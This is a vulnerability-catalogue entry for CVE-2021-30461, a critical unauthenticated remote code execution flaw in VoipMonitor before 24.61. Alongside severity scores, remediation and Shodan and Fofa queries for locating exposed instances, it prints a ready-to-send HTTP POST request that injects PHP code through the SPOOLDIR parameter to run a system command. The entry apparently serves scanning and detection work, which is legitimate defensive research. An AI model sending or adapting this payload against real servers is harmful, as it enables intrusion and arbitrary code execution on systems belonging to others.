| Title | VoipMonitor <24.61 - Remote Code Execution |
|---|---|
| Author | shifacyclewala,hackergautam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade VoipMonitor to version 24.61 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92773 |
| CVE ID | CVE-2021-30461 |
| CWE ID | CWE-94 |
| Shodan Query | http.title:"VoIPmonitor"http.title:"voipmonitor" |
| Fofa Query | title="voipmonitor" |
| Tags | cve2021 cve rce voipmonitor vkev vuln |
VoipMonitor prior to 24.61 is susceptible to remote code execution vulnerabilities because of its use of user supplied data via its web interface, allowing remote unauthenticated users to trigger a remote PHP code execution vulnerability.
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18
Connection: close
Content-Length: 43
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
SPOOLDIR=test".system(id)."&recheck=Recheck
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30461.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-30461.pcap
N/AN/A